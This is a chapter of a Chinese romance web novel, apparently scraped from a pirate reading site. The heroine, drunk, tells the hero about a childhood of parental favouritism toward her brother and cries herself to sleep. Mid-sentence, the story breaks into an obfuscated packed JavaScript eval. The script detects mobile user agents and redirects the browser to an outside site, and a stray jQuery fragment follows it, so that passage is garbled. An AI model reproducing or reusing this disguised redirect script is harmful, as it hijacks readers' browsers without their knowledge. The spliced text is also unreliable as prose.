默认冷灰
24号文字
方正启体

41. 第 41 章

作者:陈鸵鸵本书字数:K更新时间:
    他漆黑的眼眸里透出片刻的怔忪。


    姜颂拢了拢她身上那件属于他的外套,又瞧瞧他身上那件薄薄的衬衫。


    抬眼道:“太冷了,你再考虑下去,我们两个都要冻坏了。”


    “我就当你答应了。”没给他反应的机会,她替他做了决定,伸手抓住他手腕。


    他被她牵着腕子,一路向前,穿过一层层楼梯。她走在前面,他亦步亦趋,被她紧握的腕骨发热发烫。


    她的一只手无法完全环住他的手腕,整个掌心都覆上来,柔软的触感紧紧贴合着他的脉搏。


    他滚了滚喉结。


    通过心率推算脉搏,大概迈一阶台阶跳动三次,也不知道她有没有感受到异常。


    上楼的脚步声规律地落在他耳中,每一步都像踩在他心尖上。


    一直到进了门,被一室馨香笼罩周身,她递给他一个垫子,自己盘腿坐下。他慢半拍地接过垫子没了动作,她问他愣着干嘛的时候,他才如梦初醒。


    他慢吞吞地把垫子放在她身旁左边的位置坐下来,却学不会她那样盘起腿,只好略微将一双长腿曲起,委委屈屈地抱着腿缩在沙发和茶几之间那一方小天地。


    暖黄色的光晕在这方寸之间漫开,静谧而柔和。


    她开了一瓶酒递给他。


    他接过,看了眼桌上倒着的空瓶,将那瓶酒捧在手里,没喝。


    她自己喝了一大口,顿了顿,说:“你早就看出来我根本没那么无所谓了,对吗?”


    他没说话,点了头。


    她弯了弯唇角:“去之前我真的以为我会无所谓的。”


    “我的每一个亲人都扒在我身上吸血,远离了他们,不用再背负着他们的命运去生活,从此自由,我以为我会很畅快。”


    她停了下来,捏着酒瓶的手指在拉环上摩挲了几圈,眼睫轻垂,她摇着头:“可是没有。”


    “我刚才睡了一会儿,梦见了好多小时候的事,醒来就觉得心里堵得慌,很想找人说说话。可是扒拉来扒拉去,”她侧头看他,“好像只有你能说,我知道你一定愿意听我说。”


    他微微一笑:“愿意。”


    她露出一个满意的笑,喝了一口酒,双腿屈起并在胸前。她右手肘部支撑着膝盖,手掌托腮,在暖光的衬托下一双漂亮的杏眼潋滟多情,已染上了几分醉意。


    她拖着调子嗯了好久:“让我想想从哪里说起。”


    想了一会儿,像是想到了,她看着他的脸,开口道:“你记不记得有一次半夜你来找我,我们俩一起在小区里散步。”


    孟决明很快记起她说的是哪一天。


    姜颂:“我那时问你为什么不问我想家怎么不回去,你反问我想不想说,但是我最后还是什么都没说。”


    他当然记得。


    从那时候他就感觉到她对家庭问题的回避,这份回避里还带着一点残存的依恋。只是她不愿说,他也只能默默保持着距离不去探问她的秘密。


    “其实我当时是有点害怕。”她忽然说。


    他有些不明白:“害怕什么?”


    她看了他一眼,平静地讲述着关于家的一切。


    她的家在一个很偏僻的小镇上。经济的欠发达带来的往往是思想上的愚昧和落后。所以,整个镇子都还保留着老一套的陈旧观念,比如,重男轻女。


    姜颂:“我有个弟弟,小我六岁。”


    “在医院见过了。”孟决明说。


    她点头,接着说道:“没有弟弟之前的生活是什么样子我不太记得了,只是从我有记忆起,我就一直是姐姐的身份,身边所有的大人都在告诉我,弟弟是男孩,所以很重要。”


    她说弟弟刚出生的时候,全家人都在围着他转。家里没什么钱,爸妈却舍得托亲戚从城里给他买很贵的奶粉。


    她讲到这,轻轻笑了一声:“哦,其实也不是很贵。只不过当时我觉得家里实在太穷了。你可能无法想象,一年四季,这一季地里长什么菜,家里的饭桌上就会连续出现什么菜,大多数时候有且只有那一种,几个月也吃不上一次肉,只为了省钱给他买奶粉和一些很贵的婴儿用品。”


    人类没有婴幼儿时期的记忆,她根本想不起来自己是个婴儿的时候是否得到过父母这样的重视。不过这些记忆也实在没有必要存在,她光是推想就知道那是不可能的。


    一对父母的钱和爱都是有限的,在各种资源都极其贫瘠的家里,有弟弟就注定她要成为那个血包。更可怕的是,这种无度的索取并不是从弟弟成年结婚娶妻的时候才渐渐揭开序幕,而是从他出生的那一刻起就已经开始了。


    小到她的吃穿用度被克扣,大到人生岔路口的选择被指定,一切都要排在弟弟的需求之后。


    父母把所有的注意力全都放在了弟弟身上,她自然而然地成了被忽略的那一个。


    “我从小到大听了太多太多例如你是女孩不需要努力,他是男孩天生就干不好家务就该女孩做这种话。”她停顿了几秒,说,“那天我什么都没跟你说,是因为我真的很害怕我说了之后,会从你的表情里看到一种无法共情的冷漠。”


    “因为我也是男人。”他理解了她的想法,接上她的话。


    她没有否认这个原因。


    但紧接着她又说道:“不过跟你相处下来这些天,我有足够的把握可以确定你不会那样的。所以今天我愿意把我的秘密分享给你。”


    他笑道:“谢谢你肯信任我。”


    她也笑:“不客气。”


    他眉眼弯弯,柔声道:“那跟我说说你刚才的梦吧。”


    说了这一会儿话,姜颂感觉酒劲儿慢慢爬了上来。闻言,她认真回想刚才的梦境,酒精的作用使她连思考都开始变得迟钝,她想了好半天才想起来。


    她说:“我刚才梦见了小时候,好像是考试之后,老师在给考了双百的同学发小红花贴纸。醒来之后我忽然想起来,我小时候也拿过一次双百,得到了一张贴纸。”


    “就贴在这里。”她抬起手指指手背,笑了,“我那天真的特别开心,是一路跑着回的家。”


    她笑得灿烂,他被这笑容感染,不由自主地想继续听她说下去:“然后呢?”


    姜颂半眯着眼,沉浸在回忆里。


    她笑着笑着,像是想起了结局,嘴角的弧度渐渐收小,到了最后只剩下一点点。


    “然后,他们把小红花从我的手背上撕下来,贴到我弟弟手上。他太小了,看着那个贴纸特别好奇,一把撕下来捏得背面的胶水粘在一起,没办法再贴了。”


    她特别生气,可能是察觉到父母对弟弟的偏爱和对自己的忽视,那段时间她总是急于去证明些什么。


    “后来有一天我跟着我爸去赶集,在我爸给弟弟挑玩具的时候,我蹲在旁边悄悄看玩具摊上那一整排的漂亮娃娃。”她回忆着当时看到的场景,给他描绘,“真的很漂亮,卷卷的头发,精致的裙子,大概很多小女孩看到都会走不动路。”


    “然后我一转头看到了旁边的价码。”


    上面的标价让她明白,无论她怎么耍赖,都不可能会得到它们。


    “为了让我爸同意,我就选了最角落位置上的一个最便宜的,只要两块钱。”


    那是一个盗版的芭比娃娃,裸着身子可怜地被摆在那些漂亮娃娃旁边做衬托,越看越凄凉。它没有旁边那些精致包装的娃娃礼盒里配套的漂亮裙子,做工也粗糙无比,接缝处还残留着脱模时溢出的毛边。


    但它只要两块钱。


    这么多年过去,那个娃娃的样子还深深地印在她脑海里,她记得那娃娃身上的每一处瑕疵。


    当时的她怯生生地拽了拽父亲的衣角,指着地摊上角落里那个没衣服穿的娃娃,很小声地说她想要。


    父亲说,要什么要,没钱买。


    “其实现在想想,那个娃娃真的很丑,我也不是真的很喜欢那个娃娃,我当时可能就是想证明一些东西。”


    “我一直哀求他买给我,他不同意,我就坐在人家摊子前面又哭又闹,满地打滚,引


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236334|194113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了好多人来围观,最后闹得连摊主大叔都觉得烦了,催促我们不买赶紧走。”她叹了口气,“真是对不起那个大叔,耽误人家做生意了。”


    孟决明安静地听着,脸上的笑意早就消失不见,没等她说就已经猜到了这个故事的结局。


    他几乎有些不忍心再听她说下去。


    她没停。


    “我爸是个特别看中面子的人,我以为我撒泼打滚他就会为了面子掏了那两块钱。”她扬着笑容说,“但我就猜对了一半,他的确为了面子掏钱了,在摊位上选了一个三百块的遥控汽车给我弟弟,摊主大叔的脸一下子就从多云转晴天了。”


    一辆遥控小汽车等于她一百五十次的当街打滚。她从那时起就明白,她的眼泪对家人毫无作用。


    孟决明看着她的笑脸,喉咙一阵阵地发紧,像是被什么堵住,一句话也说不出来,没法应和她。


    这样的往事,她能笑着说出口,他很难想象她曾经回想过多少次,有多少次让自己再次沉浸到当时那样的情境里,一遍一遍地感受痛苦,才终于练就了如今的麻木。


    姜颂没看他,双臂抱着膝盖,手里拎着喝掉一大半的酒瓶,下巴搁在膝上,白净的脸不知什么时候已然透出了一抹薄红。


    她连说话的声音也开始模糊,如同呓语:“后来长大了一点,我爸妈说要去打工,只能带一个孩子。他们说,小骄太小了,所以要带他走,只能把我送去舅舅家住。”


    后面的事孟决明就能连起来了,陆轩只给他讲了这之后的一些事。


    陆轩那一段段的文字浮现在他脑海里,他在眼前的姜颂身上仿佛看见了当年那个孤立无援的小女孩。


    在最敏感的青春期里,她却要将这份敏感小心翼翼地藏起来,忍受着生理变化带来的烦躁,违背自然规律地扮演起一个听话懂事又善解人意的乖孩子,不能有一丁点的叛逆。


    因为,当时的她没有任何依靠,也没有人能够包容她的叛逆和敏感。她只能在无数个夜晚,像现在这样蜷起瘦弱单薄的身体,连同眼泪一起藏起。


    孟决明强忍着因心疼而不断上涌的泪意,制止住她去拿新酒瓶的手,他放柔了声音对她说:“可是你真的很棒,你把自己养得特别好。”


    她懵懂地抬头问:“真的吗?”


    “真的。”


    她缓慢地眨了下眼,醉意明显,再也压不住眼中的痛色,悲伤狂涌。


    再开口时,她的声音就染上了浓重的哭腔:“那我这么好,为什么他们还是不爱我啊?”


    她默然看着他语塞,五官渐渐皱成一团,眼泪决堤。


    “我知道的,只是因为我是女孩。”


    听起来非常荒谬的理由,却让她困惑了这么多年。


    最开始她以为是因为自己是家里的大孩子,年纪小的弟弟才会被优待。而现在她明白了,不管是弟弟还是哥哥,他们都会得到优待。


    她帮着父母欺骗了自己很多年,其实到头来只是接受不了自己是不被爱的。


    她把脸埋进臂弯,肩膀颤抖着发出压抑的抽泣声。


    他靠过去,宽阔的手掌在她头上轻轻地揉,嗓音里也压着涩意:“不哭了,以后你就自由了,只会越来越好,会有越来越多的人来爱你。”


    她闷闷的说话声传来:“我就再哭这最后一次,今天以后,我就再也不会为了这件事哭了。”


    他将人圈进怀里,嗯了一声,眼角有泪珠滚落。


    窗外不知何时下起了小雨,是开春的第一场。


    她在他怀里哭着哭着就睡着了,他将人抱到卧室的床上安置好,坐在床边看她哭红的眼眶。


    他在心底对她说,姜姜,以后再流泪的时候希望你只是因为感受到了幸福。


    春雨淅沥,拍在窗玻璃上,为春日的到来奏响一支欢快的歌。


    他掩好她房间的门,回到客厅收拾里那一桌东倒西歪的酒瓶,连同垃圾桶里的垃圾一起打包带下楼。


    丝丝缕缕的雨幕之中,他开车驶离了清欢里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)